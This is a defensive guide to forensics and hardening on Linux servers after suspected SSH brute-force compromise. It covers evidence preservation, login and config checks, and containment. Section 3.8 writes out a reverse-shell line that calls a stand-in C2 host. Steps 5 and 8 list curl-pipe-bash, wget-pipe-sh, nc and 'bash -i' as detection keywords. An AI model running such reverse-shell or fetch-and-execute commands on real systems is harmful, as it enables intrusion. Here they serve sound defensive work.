SSH Brute-Force Attack? 14-Step Linux Server Forensics & Hardening Guide

Problem Background

Operations receives an SMS alert: Accepted publickey for opsuser from 1.2.3.4 port 54321. The source IP belongs to an overseas cloud provider, timestamp 3 AM. Is this the legitimate opsuser? Has the server been compromised?

Similar scenarios occur weekly in production. SSH-exposed hosts face hundreds of thousands of scans daily: dictionary attacks, credential stuffing, 0-days, social engineering. The ability to detect, locate, and contain immediately is a core ops competency.

This article avoids high-level security products and focuses on one thing: given an "abnormal SSH login" clue, how to run a series of commands to clarify the scene, find root cause, fix properly, and preserve evidence.

Investigation splits into two tracks:

Passive Verification : Logs already show login traces; determine if the login is normal.

Active Tracing : Suspect breach; find all attacker actions, implanted backdoors, lateral movement paths.

These tracks often mix in production: first see passive clues (unknown IP login), then reverse into active tracing (is this host a jump box? implanted cron jobs? C2 connections?).

Core Principles

Never reboot before forensics.

Never run rm -rf /tmp/* or history -c during investigation.

Every action must be reversible and rollback-able.

Save all command output to timestamped backup directories.

KILL, service stop, firewall changes require two-person review.

Applicable Scenarios

Applicable:

Monitoring alert triggers SSH successful login anomaly (unknown IP, off-hours, unknown account). /var/log/secure shows many Failed password then sudden Accepted password — classic brute-force success.

Suspicious processes, outbound connections, cron jobs — suspect compromise.

CPU/memory/bandwidth anomalies — possible miners, DDoS bots, botnet clients.

Config files tampered ( /etc/ssh/sshd_config, /etc/passwd new users, /etc/crontab new tasks).

Reported by security team, SOC, or cyber defense exercise.

Cloud provider or threat intel flags host as malicious IP source.

Lateral movement investigation (known compromised host, check same subnet).

Customer/third-party reports data leak risk.

Pre-decommission security audit.

Not Applicable: DDoS traffic-layer protection, web app layer intrusion (SQLi, WebShell), database intrusion, container/serverless environments, kernel-level rootkits (require memory forensics).

Core Knowledge Points

3.1 SSH Login Full Chain

Understanding all components is prerequisite:

client ssh/scp/sftp
 → DNS resolution (hostname → IP)
 → TCP three-way handshake
 → SSH protocol handshake (version, algorithm negotiation)
 → Server authentication (host key)
 → User authentication (password / public key / keyboard-interactive)
 → PAM authentication (account, password, 2FA)
 → Audit log write (secure / auth.log / auditd)
 → User environment load (profile / .bashrc)

Each link has logs:

DNS: /var/log/messages, systemd-resolved logs.

TCP: /var/log/messages, conntrack table.

Protocol: /var/log/secure (sshd logs).

Authentication: /var/log/secure (PAM logs).

Audit: /var/log/audit/audit.log.

3.2 Linux Login & Session Info

last

: reads /var/log/wtmp, shows historical successful logins. lastb: reads /var/log/btmp, shows historical failed logins. lastlog: reads /var/log/lastlog, shows each user's last login time. who: reads /var/run/utmp, shows currently online users. w: extends who, shows online users and their processes. ac: shows each user's cumulative online time. utmpdump: converts wtmp/btmp to readable text.

These tools rely on utmp/wtmp/btmp binary files. Attackers often tamper with them to hide traces; compare timestamps and file sizes.

3.3 SSH Config File

Key parameters: PermitRootLogin: allow root login. PasswordAuthentication: allow password login. PubkeyAuthentication: allow public key login. AllowUsers / AllowGroups: whitelist users/groups. MaxAuthTries: max auth attempts per connection. LoginGraceTime: authentication timeout. AuthorizedKeysFile: public key file path (default .ssh/authorized_keys).

Common signs on compromised hosts: PermitRootLogin yes — root remote login enabled. PasswordAuthentication yes — password login enabled. AllowUsers / AllowGroups deleted or commented.

Strange Match blocks added.

Include fragments ( /etc/ssh/sshd_config.d/*.conf) overriding main config. AuthorizedKeysFile changed to /tmp/... or other abnormal paths.

3.4 Linux Account System

/etc/passwd

: account basics, format username:x:UID:GID:comment:home:shell. /etc/shadow: password hashes, format username:hash:lastchanged:min:max:warn:inactive:expire. /etc/group: group info. /etc/sudoers / /etc/sudoers.d/*: sudo authorization. /etc/pam.d/: PAM auth config.

Suspicious indicators:

UID 0 but username not root in /etc/passwd.

Shell is /bin/bash or /bin/sh but home is /var/... or /tmp/.... /etc/shadow password field empty ( ::) or *, ! followed by abnormal string.

Unknown files in /etc/sudoers.d/.

Unknown users in wheel or sudo groups in /etc/group.

3.5 Cron Jobs & Startup Items

User-level: crontab -l, /var/spool/cron/<user>.

System-level: /etc/crontab, /etc/cron.d/, /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, /etc/cron.monthly/.

systemd timers: /etc/systemd/system/*.timer, /usr/lib/systemd/system/*.timer.

Startup scripts: /etc/rc.local, /etc/init.d/.

Boot auto-start: systemctl list-unit-files --state=enabled. .bashrc, .bash_profile, .profile: execute on user login.

3.6 Backdoor Detection Points

Backdoors typically hide in:

SSH: /etc/ssh/sshd_config, /usr/sbin/sshd, ~/.ssh/authorized_keys.

Binary replacement: /bin/, /sbin/, /usr/bin/, /usr/sbin/, /usr/lib/, /usr/lib64/.

Dynamic library hijacking: /etc/ld.so.preload, LD_PRELOAD.

Kernel modules: /lib/modules/$(uname -r)/, lsmod, /proc/modules.

Cron jobs (see 3.5).

Hidden files: /tmp/, /var/tmp/, /dev/shm/.

Hidden processes: processes invisible to ps.

Reverse shells: /dev/tcp/<ip>/<port>, bash/Python reverse scripts.

3.7 File Integrity Detection

rpm -Va

: RHEL/CentOS package file verification. debsums -c: Debian/Ubuntu package verification. AIDE: Advanced Intrusion Detection Environment, baseline database, compare changes. Tripwire: commercial file integrity tool. md5sum / sha256sum: manual comparison of critical files. stat: view file inode, mtime, atime, ctime.

3.8 Network Connections & C2

Attackers typically establish:

Reverse shell: bash -i >& /dev/tcp/C2/443 0>&1.

HTTP/HTTPS outbound: periodic GET/POST to attacker C2.

DNS tunnel: data exfiltration via DNS queries.

Mining pool connections: to pool.minexmr.com etc.

DDoS tools: connect to IRC servers for commands.

Lateral movement: SSH, SMB, RDP, WMI, PSExec.

Detection tools: ss -antp state established: view established TCP connections. netstat -an: legacy but usable. iftop: real-time traffic. nethogs: per-process traffic. tcpdump: packet capture. conntrack -L: connection tracking table.

3.9 Rootkits & Kernel Backdoors

chkrootkit

: user-space rootkit detector. rkhunter: rootkit hunter, scans known signatures. unhide: finds hidden processes. /proc/modules vs lsmod: compare to find hidden kernel modules.

Memory forensics: Volatility, Rekall (require expertise).

3.10 Emergency Response Principles

Golden 30-minute rule:

Immediately preserve scene (dmesg, journalctl, logs, memory, network connections).

Cut suspicious outbound (firewall block suspicious IPs).

Freeze suspicious accounts ( usermod -L, passwd -l).

Assess impact scope (other hosts in same subnet).

Report to security contact.

Implement fixes (change passwords, reissue keys, clean backdoors).

Harden (2FA, minimize exposure, monitoring alerts).

Postmortem (5 Whys, improvements, root cause analysis).

Overall Investigation Approach

"From near to far, shallow to deep, system to process":

Scene Preservation : first action must preserve evidence, no reboot, no log clearing.

Login Trajectory : extract all login events from last/lastb/logs, judge suspicious ones.

Config Verification : check sshd_config, PAM, accounts, sudo for modifications.

Process Dimension : top/ps/pidstat to find suspicious processes.

File Dimension : find/md5sum/AIDE to find suspicious files.

Network Dimension : ss/netstat/tcpdump to find suspicious outbound.

Cron Jobs : crontab/systemd-timer to find suspicious tasks.

Log Audit : secure/auth.log/audit.log/wtmp integrity.

Emergency Response : disconnect, freeze, change passwords, clean.

Hardening : 2FA, reduce exposure, monitoring alerts.

Postmortem : timeline, root cause, impact, improvements.

Framework: "Four Rings Defense + One Depth":

Ring 1 (Network): firewall/security groups/port exposure.

Ring 2 (Authentication): sshd_config/PAM/2FA/public keys.

Ring 3 (Accounts): /etc/passwd/sudo/shadow/cron.

Ring 4 (Runtime): processes/files/kernel modules/network outbound.

Depth (Emergency): forensics/disconnect/fix/postmortem.

Any layer vulnerability lets attackers bypass. Must walk every layer during investigation.

Practical Steps

5.1 Step 1: Scene Preservation (First Action)

Purpose: backup all data that might be overwritten during investigation.

# 1. Create timestamped backup directory
TS=$(date +%Y%m%d-%H%M%S)
BACKUP=/var/tmp/incident-$TS
mkdir -p "$BACKUP"/{logs,proc,config,binary,net}

# 2. Backup key logs
cp -a /var/log/secure "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/auth.log "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/messages "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/audit/audit.log "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/wtmp "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/btmp "$BACKUP"/logs/ 2>/dev/null
cp -a /var/log/lastlog "$BACKUP"/logs/ 2>/dev/null

# 3. Backup dmesg
dmesg -T > "$BACKUP"/logs/dmesg.txt 2>/dev/null

# 4. Backup journald
journalctl --since "30 days ago" > "$BACKUP"/logs/journalctl-30d.txt 2>/dev/null

# 5. Backup current processes
ps auxf > "$BACKUP"/proc/ps-auxf.txt
ps -ef > "$BACKUP"/proc/ps-ef.txt

# 6. Backup network connections
ss -antp > "$BACKUP"/net/ss-antp.txt
ss -s > "$BACKUP"/net/ss-s.txt
netstat -anpt > "$BACKUP"/net/netstat.txt 2>/dev/null

# 7. Backup routing
ip route > "$BACKUP"/net/ip-route.txt
ip rule > "$BACKUP"/net/ip-rule.txt
ip addr > "$BACKUP"/net/ip-addr.txt

# 8. Backup current logins
who > "$BACKUP"/who.txt
w > "$BACKUP"/w.txt

# 9. Backup key configs
cp -a /etc/ssh "$BACKUP"/config/
cp -a /etc/pam.d "$BACKUP"/config/
cp -a /etc/passwd "$BACKUP"/config/
cp -a /etc/shadow "$BACKUP"/config/
cp -a /etc/group "$BACKUP"/config/
cp -a /etc/sudoers "$BACKUP"/config/
cp -a /etc/sudoers.d "$BACKUP"/config/
cp -a /etc/crontab "$BACKUP"/config/
cp -a /etc/cron.d "$BACKUP"/config/
cp -a /etc/cron.* "$BACKUP"/config/ 2>/dev/null
cp -a /etc/systemd/system "$BACKUP"/config/system-system 2>/dev/null
cp -a /usr/lib/systemd/system "$BACKUP"/config/system-lib 2>/dev/null

# 10. Backup key binary md5
md5sum /usr/sbin/sshd /usr/bin/ssh /bin/bash /bin/sh /usr/bin/sudo \
  /usr/bin/passwd /usr/bin/su /usr/sbin/useradd /usr/sbin/userdel \
  /usr/bin/ps /usr/bin/netstat /usr/sbin/iptables \
  > "$BACKUP"/binary/md5-baseline.txt 2>/dev/null

# 11. Package
tar -czf /var/tmp/incident-$TS.tar.gz -C /var/tmp incident-$TS
ls -la /var/tmp/incident-$TS.tar.gz

Expected: backup directory and tarball complete. Anomalies: disk full (use du -sh /var/log/*), missing log files (adjust paths), cp -a errors (check SELinux/AppArmor).

5.2 Step 2: Login Trajectory Analysis

# 1. Current online
who
w

# 2. Recent login records
last -F | head -50
last -F -i | head -50  # show IP (some systems)

# 3. Recent failed logins
lastb -F | head -50
lastb -F -i | head -50

# 4. Each user's last login
lastlog | head -50

# 5. Successful SSH logins
grep -E "Accepted" /var/log/secure | tail -50

# 6. Failed SSH logins
grep -E "Failed password" /var/log/secure | tail -50

# 7. Auth connection closed
grep -E "Connection closed by authenticating" /var/log/secure | tail -50

# 8. User enumeration attempts
grep -E "Invalid user" /var/log/secure | tail -50

# 9. Failed publickey logins
grep -E "Failed publickey|Authentication refused" /var/log/secure | tail -50

# 10. Recent SSH events via journald
journalctl -u sshd --since "7 days ago" --no-pager | grep -E "Accepted|Failed|Invalid|Connection closed" | tail -100

# 11. Top source IPs by failure count
grep -E "Failed password" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="from") print $(i+1)}' | sort | uniq -c | sort -rn | head -20

# 12. Top attempted accounts
grep -E "Failed password|Invalid user" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="for") print $(i+1)}' | sort | uniq -c | sort -rn | head -20

# 13. Time distribution
grep -E "Accepted|Failed" /var/log/secure | awk '{print $1, $2, $3}' | uniq -c | tail -30

Expected: normal last shows familiar IPs (office, bastion); lastb mostly failures; lastlog shows each account's last login. Anomalies: unknown user login success → freeze immediately; known user from unknown IP → notify user; off-hours success → investigate; many failures then sudden success → high suspicion of brute-force; wtmp/btmp/lastlog size anomalies (cleared or modified) → high suspicion of cleanup; last/lastb time gaps → file truncated or tampered.

5.3 Step 3: SSH & PAM Config Verification

# 1. Current effective sshd_config
sshd -T | grep -E "^(port|passwordauthentication|permitrootlogin|pubkeyauthentication|allowusers|allowgroups|authorizedkeysfile|logingracetime|maxauthtries|maxstartups|challengeauthentication|kbdinteractiveauthentication|usepam|authenticationmethods)\b"

# 2. Config file recent modification time
stat /etc/ssh/sshd_config
ls -la /etc/ssh/

# 3. Included fragments
grep -E "^Include" /etc/ssh/sshd_config
ls -la /etc/ssh/sshd_config.d/

# 4. Each fragment content
for f in /etc/ssh/sshd_config.d/*.conf; do
  echo "=== $f ==="
  cat "$f"
done

# 5. Host key fingerprints
for f in /etc/ssh/ssh_host_*_key; do
  echo "$f:"
  ssh-keygen -lf "$f"
done

# 6. authorized_keys check
find / -name authorized_keys -type f 2>/dev/null -exec ls -la {} \;
find / -name authorized_keys -type f 2>/dev/null -exec wc -l {} \;

# 7. Abnormal authorized_keys content
for f in $(find / -name authorized_keys -type f 2>/dev/null); do
  echo "=== $f ==="
  cat "$f"
done

# 8. PAM config
cat /etc/pam.d/sshd
ls -la /etc/pam.d/sshd

# 9. PAM module integrity
for m in pam_unix.so pam_google_authenticator.so pam_faillock.so pam_tally2.so; do
  echo "$m:"
  find / -name "$m" 2>/dev/null
done

# 10. auditd enabled?
systemctl status auditd
auditctl -l | grep -E "(sshd_config|sshd|authorized_keys|/etc/passwd)"

Expected: PermitRootLogin no, PasswordAuthentication no, PubkeyAuthentication yes; AllowUsers / AllowGroups have explicit whitelist; sshd_config mtime matches change window; authorized_keys only familiar ops keys. Anomalies: unknown keys in authorized_keys → delete immediately; PermitRootLogin yes → change to no; unknown Include fragments → review immediately; sshd_config modified without change ticket → suspect; PAM files modified without ticket → suspect; auditd not enabled → hardening gap.

5.4 Step 4: Account System Verification

# 1. UID 0 accounts (root privileges)
awk -F: '($3 == 0) {print}' /etc/passwd

# 2. Login-capable accounts (bash/sh/zsh/csh)
awk -F: '$7 ~ /(bash|sh|zsh|csh|fish)/ {print}' /etc/passwd

# 3. Abnormal home directories (/tmp, /var/tmp, etc.)
awk -F: '$6 ~ /^\/(tmp|var\/tmp|dev\/shm)/ {print}' /etc/passwd

# 4. Empty passwords in shadow
awk -F: '($2 == "" || $2 == "!" || $2 == "*" || $2 == "!!") {print $1}' /etc/shadow

# 5. Abnormal lock status
passwd -S -a

# 6. Account file recent modification times
ls -la /etc/passwd /etc/shadow /etc/group /etc/sudoers

# 7. sudoers config
cat /etc/sudoers
ls -la /etc/sudoers.d/
for f in /etc/sudoers.d/*; do
  echo "=== $f ==="
  cat "$f"
done

# 8. Password policy
chage -l root
chage -l opsuser
# compare last password change time

# 9. Recently created accounts
find /home /root /var -maxdepth 3 -newer /etc/hostname 2>/dev/null | head

# 10. SSH private key copies
find / -name "id_*" -type f 2>/dev/null
find / -name "*.pem" -type f 2>/dev/null | head

# 11. User recent activity
ls -lat /home/*/.bash_history 2>/dev/null
ls -lat /root/.bash_history 2>/dev/null
# but attackers often clear, so empty history ≠ "nothing happened"

Expected: only root has UID 0; familiar ops accounts have bash shell; sudoers matches expectations; chage info matches change window. Anomalies: second UID 0 account → lock immediately ( passwd -l) and investigate; home in /tmp → investigate; unknown account → lock immediately; new sudoers.d file → review immediately; config files modified outside change window → suspect tampering; .bash_history cleared + brute-force success → high suspicion of compromise.

5.5 Step 5: Cron & Startup Verification

# 1. Current user crontab
crontab -l
crontab -u root -l
crontab -u opsuser -l

# 2. All users' crontabs
for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== $user ==="
  crontab -u "$user" -l 2>/dev/null
done

# 3. System-level crontab
cat /etc/crontab
ls -la /etc/cron.d/
for f in /etc/cron.d/*; do
  echo "=== $f ==="
  cat "$f"
done
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

# 4. systemd timers
systemctl list-timers --all
ls -la /etc/systemd/system/*.timer 2>/dev/null
ls -la /usr/lib/systemd/system/*.timer 2>/dev/null

# 5. systemd enabled services
systemctl list-unit-files --state=enabled
ls -la /etc/systemd/system/multi-user.target.wants/

# 6. /etc/rc.local
cat /etc/rc.local
ls -la /etc/rc.local

# 7. /etc/init.d
ls -la /etc/init.d/

# 8. User login scripts
ls -la /root/.bashrc /root/.bash_profile /root/.profile /root/.bash_logout
for user in /home/*; do
  echo "=== $user ==="
  ls -la "$user/.bashrc" "$user/.bash_profile" "$user/.profile" 2>/dev/null
done

# 9. systemd user services
ls -la /home/*/.config/systemd/user/ 2>/dev/null

# 10. at queue
atq
ls -la /var/spool/at/ 2>/dev/null

Expected: crontabs match change window; no unknown systemd timers; systemctl list-unit-files no unknown services. Anomalies: weird crontab pointing to /tmp, /dev/shm, /var/tmp scripts → stop immediately; crontab contains curl | bash, wget | sh, nc → stop immediately; systemd timer in abnormal path → stop immediately; .bashrc appended with suspicious script → investigate; /etc/rc.local suddenly has content (default no exec perms on RHEL/CentOS 7) → investigate.

5.6 Step 6: Process Dimension Investigation

# 1. Top 10 CPU
top -c -b -n 1 | head -30

# 2. Full process tree
ps auxf

# 3. Sort by CPU
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pcpu | head -20

# 4. Sort by memory
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pmem | head -20

# 5. Suspicious processes (paths in /tmp, /var/tmp, /dev/shm)
ps -eo pid,user,args | awk '/\/tmp|\/var\/tmp|\/dev\/shm/ {print}'

# 6. Processes with no or weird args
ps -eo pid,user,args | awk 'NF<5 {print}'

# 7. Deleted executable processes (memory-resident malware)
ls -la /proc/*/exe 2>/dev/null | grep deleted

# 8. Non-kthread kernel threads (possible suspicious modules)
ps -ef | awk '$3 == 2 {print}'

# 9. Detailed view by PID
PID=12345
ls -la /proc/$PID/exe
cat /proc/$PID/status
cat /proc/$PID/cmdline
ls -la /proc/$PID/fd | head -30
cat /proc/$PID/maps | head -10

# 10. Hidden process detection
unhide proc
unhide sys
unhide-brute

# 11. Abnormal start time processes
ps -eo pid,user,lstart,args --sort=lstart | head -20

Expected: process list matches baseline; top CPU/memory processes are known business processes; no processes in suspicious paths. Anomalies: mining processes (xmrig, minerd, kdevtmpfsi, kthrotlds) → forensics then kill; nc, ncat, bash -i reverse shells → forensics; curl/wget downloading scripts → stop and forensics; process exe points to deleted but still running → memory-resident malware suspicion; hidden processes (unhide finds but ps doesn't) → rootkit suspicion; start time after recent brute-force success → high risk.

5.7 Step 7: Network Connections & Suspicious Traffic

# 1. Current ESTABLISHED connections
ss -antp state established
ss -antp state established | awk '{print $5}' | cut -d: -f1 | sort -u

# 2. Outbound by process
ss -antp state established | grep -E "users:" | awk '{for(i=1;i<=NF;i++) if($i ~ /users:/) print $(i+1)}' | sort | uniq -c | sort -rn

# 3. UDP connections
ss -anup state established

# 4. Listening ports
ss -tlnp

# 5. All connections (LISTEN, ESTABLISHED, CLOSE_WAIT, TIME_WAIT)
ss -anp | head -50

# 6. Routing & ARP
ip route
ip neigh

# 7. conntrack
conntrack -L 2>/dev/null | head -50

# 8. DNS resolution cache
journalctl -u systemd-resolved --since "1 day ago" --no-pager | tail -50

# 9. Packet capture (emergency: 30-60s)
tcpdump -i eth0 -nn -s0 -w /tmp/incident-$TS/capture.pcap &
TCPDUMP_PID=$!
sleep 60
kill $TCPDUMP_PID
ls -la /tmp/incident-$TS/capture.pcap

# 10. Per-process traffic
nethogs -d 5 -t 2>/dev/null | head -30

# 11. Threat intel comparison (local IP DB or curl online API)
# NOTE: production env don't query online directly, use internal SOC platform first

Expected: established connections to known business IPs; listening ports match config; routing normal. Anomalies: connections to mining pools, IRC, C2 → forensics and disconnect immediately; connections to unusual internal ports → lateral movement suspicion; many long connections to port 53 (DNS) → DNS tunnel suspicion; many CLOSE_WAIT → app not closing properly, possible implant; many SYN_SENT → attacker outbound failing.

5.8 Step 8: Filesystem & Suspicious Files

# 1. Files modified in last 7 days
find / -mtime -7 -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" 2>/dev/null | head -100

# 2. Suspicious files in /tmp, /var/tmp, /dev/shm
ls -la /tmp/ /var/tmp/ /dev/shm/ 2>/dev/null

# 3. Hidden files
find /tmp /var/tmp /dev/shm -name ".*" -type f 2>/dev/null

# 4. SUID/SGID files
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# 5. Files with no owner/group
find / -nouser -o -nogroup 2>/dev/null

# 6. Binary hash vs baseline
md5sum /usr/bin/* /usr/sbin/* /bin/* /sbin/* > /tmp/incident-$TS/md5-current.txt 2>/dev/null
diff /tmp/incident-$TS/md5-baseline.txt /tmp/incident-$TS/md5-current.txt

# 7. RPM package verification
rpm -Va 2>/dev/null | grep -E "^..5" | grep -E "/(usr/)?(s?bin|lib)"

# 8. debsums (Debian/Ubuntu)
debsums -c 2>/dev/null

# 9. LD_PRELOAD hijack
cat /etc/ld.so.preload 2>/dev/null
ls -la /etc/ld.so.preload 2>/dev/null

# 10. Suspicious script files
find / -type f \( -name "*.sh" -o -name "*.py" -o -name "*.pl" -o -name "*.rb" \) -mtime -7 2>/dev/null | head

# 11. Keyword search for suspicious content
grep -rl "1.2.3.4" /etc /usr/local /opt /var/www 2>/dev/null | head
grep -rl "nc -e|bash -i|curl.*sh|wget.*sh" /tmp /var/tmp /dev/shm 2>/dev/null | head

# 12. AIDE / Tripwire
aide --check
tripwire --check

Expected: modified files within change window; no unknown SUID files; no ld.so.preload; RPM/DEB verification passes. Anomalies: unknown SUID files → investigate; unknown scripts in /tmp → forensics; RPM/DEB verification errors ( ..5 means size changed) → investigate; ld.so.preload exists → investigate (classic library hijack); keyword search hits reverse shell traces → investigate.

5.9 Step 9: Log Integrity & Timeline

# 1. Log file sizes & mtime
ls -la /var/log/secure /var/log/auth.log /var/log/wtmp /var/log/btmp /var/log/lastlog /var/log/audit/audit.log

# 2. Signs of log clearing/truncation
wc -l /var/log/secure /var/log/auth.log
# if a log that was tens of MB suddenly becomes 0 or few hundred bytes, be alert

# 3. logrotate config
cat /etc/logrotate.conf
cat /etc/logrotate.d/* | grep -A 5 -E "secure|auth"

# 4. Log integrity (monitor log deletion hooks)
auditctl -w /var/log -p wa -k log_change

# 5. utmpdump parse binary logs
utmpdump /var/log/wtmp | tail -50
utmpdump /var/log/btmp | tail -50

# 6. Compare with remote log server
ssh logserver "grep 'Accepted.*$(hostname)' /var/log/remote/*.log"

# 7. Key event timeline (grep all Accepted/Failed, sort)
(grep "Accepted" /var/log/secure; grep "Failed" /var/log/secure) | sort | head -200

# 8. Write timeline to incident report
cat > /tmp/incident-$TS/timeline.txt <<EOF
=== SSH Login Timeline ===
$(grep -E "Accepted|Failed|Invalid" /var/log/secure | tail -200)

=== Crontab Changes ===
$(ls -la /etc/cron* 2>/dev/null)

=== File Mtime Anomalies ===
$(find /etc /usr/local /var -mtime -3 -type f 2>/dev/null | head -50)
EOF

Expected: log sizes match baseline; logrotate config reasonable; utmpdump output matches last/lastb; timeline clear. Anomalies: log files cleared or size abnormal → attacker cleaning traces; mismatch with remote log server → local logs tampered; timeline gaps → events deleted.

5.10 Step 10: Emergency Response

Priority order:

Freeze suspicious accounts: passwd -l username, usermod -L username.

Stop suspicious processes: kill -STOP PID (freeze for forensics), then kill -TERM PID.

Disconnect network (caution, affects business): iptables -I INPUT -s <ip> -j DROP.

Change ops account passwords / reissue public keys.

Clean backdoors: delete suspicious cron jobs, systemd services.

Harden: disable password login, restrict source IPs, enforce 2FA.

Notify security contact, SOC, customer (if involved).

Write incident report with timeline, impact, root cause, fixes, improvements.

# Freeze account
passwd -l attacker_user
usermod -L attacker_user

# Remove public key
sed -i '/^ssh-ed25519.*AAA...$/d' /home/opsuser/.ssh/authorized_keys

# Stop suspicious process (STOP first to preserve evidence)
kill -STOP <PID>
sleep 5
cat /proc/<PID>/maps > /tmp/incident-$TS/maps-PID.txt
kill -TERM <PID>

# Force kill (caution)
kill -9 <PID>

# Block network (ban suspicious IP)
iptables -I INPUT -s <attacker_ip> -j DROP
ip6tables -I INPUT -s <attacker_ip> -j DROP

# Block all outbound (extreme)
iptables -I OUTPUT -d 0.0.0.0/0 -j DROP
# NOTE: breaks cloud monitoring, SSH remote mgmt, need cloud console VNC

# Clean crontab
crontab -u root -r
crontab -u attacker_user -r

# Delete suspicious scripts (after forensics)
cp -a /tmp/xxx.sh /tmp/incident-$TS/
rm -f /tmp/xxx.sh

# Clean systemd service
systemctl stop malicious.service
systemctl disable malicious.service
rm -f /etc/systemd/system/malicious.service

# Reissue public key
ssh-keygen -t ed25519 -f /home/opsuser/.ssh/id_ed25519.new
cat /home/opsuser/.ssh/id_ed25519.new.pub >> /home/opsuser/.ssh/authorized_keys
chmod 600 /home/opsuser/.ssh/authorized_keys

# Reload sshd
sshd -t && systemctl reload sshd

5.11 Step 11: Hardening

# 1. Disable password login
sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config

# 2. Disable root remote login
sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config

# 3. Change port (optional)
sed -i 's/^#\?Port.*/Port 2222/' /etc/ssh/sshd_config

# 4. Add whitelist
echo "AllowUsers opsuser1 opsuser2" >> /etc/ssh/sshd_config

# 5. Enable fail2ban
yum install -y fail2ban fail2ban-systemd  # or apt
cat > /etc/fail2ban/jail.local <<'EOF'
[DEFAULT]
ignoreip = 127.0.0.1/8 10.10.0.0/16 192.168.0.0/16
bantime = 3600
findtime = 600
maxretry = 5
banaction = firewallcmd-rich-rules

[sshd]
enabled = true
port = 2222
filter = sshd
backend = systemd
logpath = /var/log/secure
maxretry = 5
EOF
systemctl enable --now fail2ban

# 6. Enable 2FA
yum install -y google-authenticator

# 7. Tighten firewall
firewall-cmd --permanent --zone=public --remove-port=22/tcp
firewall-cmd --permanent --zone=public --add-port=2222/tcp
firewall-cmd --permanent --zone=public --remove-service=ssh
firewall-cmd --reload

# 8. Sync security groups
# In cloud provider console sync rules

# 9. Reload sshd
sshd -t && systemctl reload sshd

5.12 Step 12: Lateral Expansion Investigation

After finding one compromised host, must check other hosts in same subnet:

# 1. Same subnet IP list
ip a | grep inet | awk '{print $2}'

# 2. Scan same subnet SSH ports
# Caution with nmap, triggers security alerts
# Recommend cloud console/bastion batch query

# 3. Run same command checklist on each host
# Recommend Ansible + bastion

# 4. Check each host's authorized_keys
for ip in $(cat ip-list.txt); do
  echo "=== $ip ==="
  ssh opsuser@$ip "find / -name authorized_keys -exec cat {} \;"
done

# 5. Check each host's suspicious processes
for ip in $(cat ip-list.txt); do
  echo "=== $ip ==="
  ssh opsuser@$ip "ps auxf | head -30"
done

Lateral investigation notes: don't use root SSH for batch commands; use bastion for audit; control concurrency (5-10 hosts); archive results linked to same incident.

Common Commands Reference

Sections 6.1-6.8 provide categorized command references for login/session, log analysis, accounts/config, cron, processes, network, files, emergency actions.

Configuration Examples

7.1 Incident Report Directory Structure

/var/tmp/incident-20260706-030000/
├── logs/
│   ├── secure
│   ├── auth.log
│   ├── messages
│   ├── audit.log
│   ├── dmesg.txt
│   ├── journalctl-30d.txt
│   ├── wtmp
│   ├── btmp
│   └── lastlog
├── proc/
│   ├── ps-auxf.txt
│   └── ps-ef.txt
├── net/
│   ├── ss-antp.txt
│   ├── ss-s.txt
│   ├── netstat.txt
│   ├── ip-route.txt
│   └── capture.pcap
├── config/
│   ├── ssh/
│   ├── pam.d/
│   ├── passwd
│   ├── shadow
│   ├── group
│   ├── sudoers
│   ├── sudoers.d/
│   ├── crontab
│   ├── cron.d/
│   ├── system-system/
│   └── system-lib/
├── binary/
│   └── md5-baseline.txt
├── timeline.txt
└── REPORT.md

7.2 Incident Report Template (REPORT.md)

Markdown template with fields: hostname, IP, public IP, event type, severity, discovery time, handling time, handlers, impact scope. Sections: Timeline, Root Cause, Impact Scope, Fixes, Improvements.

7.3 auditd Monitoring Rules

Rules for /etc/audit/rules.d/ssh.rules covering sshd_config, sshd binary, PAM config, host keys, authorized_keys, critical files (passwd, shadow, group, sudoers), crontab, important binaries (passwd, su, sudo, bash, sh, useradd, userdel, usermod, groupadd), systemd services. Load with augenrules --load and restart auditd.

7.4 Prometheus Alert Rules

YAML rules for SSH failed login burst, off-hours login, sshd_config change, authorized_keys change, new sudoers file.

7.5 SSH Login Exporter Script

Bash script /usr/local/bin/ssh_login_exporter.sh writes Prometheus textfile collector metrics (success, failed, invalid user counts) every minute via cron.

7.6 Bulk Investigation Ansible Playbook

Playbook collects last/lastb, sshd_config checksum, authorized_keys files, crontabs, suspicious processes, established connections from all hosts and saves locally.

Log & Metric Observation Methods

8.1 Key Log Files

/var/log/secure (RHEL) / /var/log/auth.log (Debian): sshd, PAM auth logs

/var/log/wtmp : Successful login binary log, read with last /var/log/btmp : Failed login binary log, read with lastb /var/log/lastlog : Per-user last login time, read with lastlog /var/log/audit/audit.log : auditd fine-grained audit

/var/log/cron : cron execution logs

/var/log/messages / /var/log/syslog : System general logs

journald : systemd logs

8.2 Key Metrics

ssh_login_success_total : Successful logins. Normal baseline: business-dependent. Anomaly: sudden spike / unknown accounts.

ssh_login_failed_total : Failed logins. Normal baseline: very few. Anomaly: spike → brute force.

ssh_login_invalid_total : Invalid user attempts. Normal baseline: 0. Anomaly: spike → scanning.

process_count : Process count. Normal baseline: matches baseline. Anomaly: spike → injection.

cpu_usage : CPU usage. Normal baseline: business-dependent. Anomaly: spike → mining.

outbound_traffic : Outbound traffic. Normal baseline: business-dependent. Anomaly: abnormal connections.

file_mtime_sshd_config : sshd_config mtime. Normal baseline: matches change window. Anomaly: unplanned → suspicious.

file_mtime_authorized_keys : authorized_keys mtime. Normal baseline: matches change window. Anomaly: unplanned → suspicious.

8.3 Alert Rules

See Section 7.4 Prometheus alert rules.

8.4 Key Observation Methods

Use grep to pull timeline.

Use awk + sort | uniq -c to find high-frequency sources/users.

Use journalctl for systemd logs.

